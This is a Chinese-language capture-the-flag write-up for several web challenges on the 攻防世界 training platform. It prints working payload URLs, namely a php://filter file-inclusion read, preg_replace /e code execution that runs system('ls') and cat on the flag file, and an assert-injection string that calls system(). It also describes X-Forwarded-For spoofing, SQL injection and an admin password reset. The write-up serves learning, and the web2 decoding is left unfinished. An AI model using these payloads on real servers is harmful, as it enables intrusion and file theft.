攻防世界 write up (loading.....)

攻防世界

ics05


通过随便一点,发现只有这个页面可以点的

攻防世界 write up (loading.....)_第1张图片
攻防世界 write up (loading.....)_第2张图片
通过查看源代码,发现?page=index
通过文件包含漏洞php流的

http://111.198.29.45:39719/index.php?page=php://filter/convert.base64-encode/resource=index.php

攻防世界 write up (loading.....)_第3张图片
通过base64解密得到了一个php源码,并得到关键代码段
攻防世界 write up (loading.....)_第4张图片
根据$_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1',我们可以通过修改xff来登入在这里插入图片描述
攻防世界 write up (loading.....)_第5张图片
再者,此处考察的是preg_replace 函数使用 /e 模式,导致代码执行的问题。也就是说,pat值和sub值相同,rep的代码就会执行。
XFF改成127.0.0.1之后,GET进来三个参数。这里调用了preg_replace函数。并且没有对pat进行过滤,所以可以传入"/e"触发漏洞,触发后replacement的语句是会得到执行的,首先执行一下phpinfo()

http://111.198.29.45:39719/index.php?pat=/test/e&rep=phpinfo()&sub=test

攻防世界 write up (loading.....)_第6张图片
查看当前页面所在目录的文件

http://111.198.29.45:39719/index.php?pat=/test/e&rep=system(%27ls%27)&sub=test
111.198.29.45:39719/index.php?pat=/test/e&rep=system("cd s3chahahaDir %26%26 ls")&sub=test
view-source:http://111.198.29.45:39719/index.php?pat=/test/e&rep=system(%22cat%20s3chahahaDir/flag/flag.php%22)&sub=test

攻防世界 write up (loading.....)_第7张图片

ics06

这一题让我一直想骂人。。。。
攻防世界 write up (loading.....)_第8张图片
看到这个页面,我一直以为是sql注入的题目,结果不管怎么注入,url一直这个样,看来是对sql注入有防范,我就试试php伪协议,结果也不行
最后竟然只是对id的值进行无脑爆破
在这里插入图片描述
攻防世界 write up (loading.....)_第9张图片

NewsCenter

这一题一打开就有一个search的搜索框,用burp抓包打开,然后简单的sql注入语句就可以解决了

攻防世界 write up (loading.....)_第10张图片
攻防世界 write up (loading.....)_第11张图片
攻防世界 write up (loading.....)_第12张图片
攻防世界 write up (loading.....)_第13张图片
攻防世界 write up (loading.....)_第14张图片
攻防世界 write up (loading.....)_第15张图片
攻防世界 write up (loading.....)_第16张图片

MFW

攻防世界 write up (loading.....)_第17张图片
发现有用git,所以猜测有/.git/泄露,用dirsearch.py扫一下,再用githack
攻防世界 write up (loading.....)_第18张图片
攻防世界 write up (loading.....)_第19张图片




if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

发现这段代码,要拿到flag

file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

主要靠这个,

?page=haha') or system("cat templates/flag.php");//

在这里插入图片描述

Training-WWW-Robots

这一题就只考robots协议

bug

先采用弱口令admin 123456 admin1 123456
攻防世界 write up (loading.....)_第20张图片
攻防世界 write up (loading.....)_第21张图片
通过不同的回显,发现存在着admin的用户

攻防世界 write up (loading.....)_第22张图片
攻防世界 write up (loading.....)_第23张图片
成功修改admin的密码

攻防世界 write up (loading.....)_第24张图片
攻防世界 write up (loading.....)_第25张图片
攻防世界 write up (loading.....)_第26张图片
攻防世界 write up (loading.....)_第27张图片
攻防世界 write up (loading.....)_第28张图片

web2


$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;
        
    for($_0=0;$_0<strlen($_o);$_0++){
       
        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?> 


$haha = "a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
$xixi = str_rot13($haha);
$ai = strrev($xixi);
echo $ai;

在这里插入图片描述
在这里插入图片描述
目前只能解到这(后面得用python脚本解决了。。。)

未完待续

你可能感兴趣的:(攻防世界)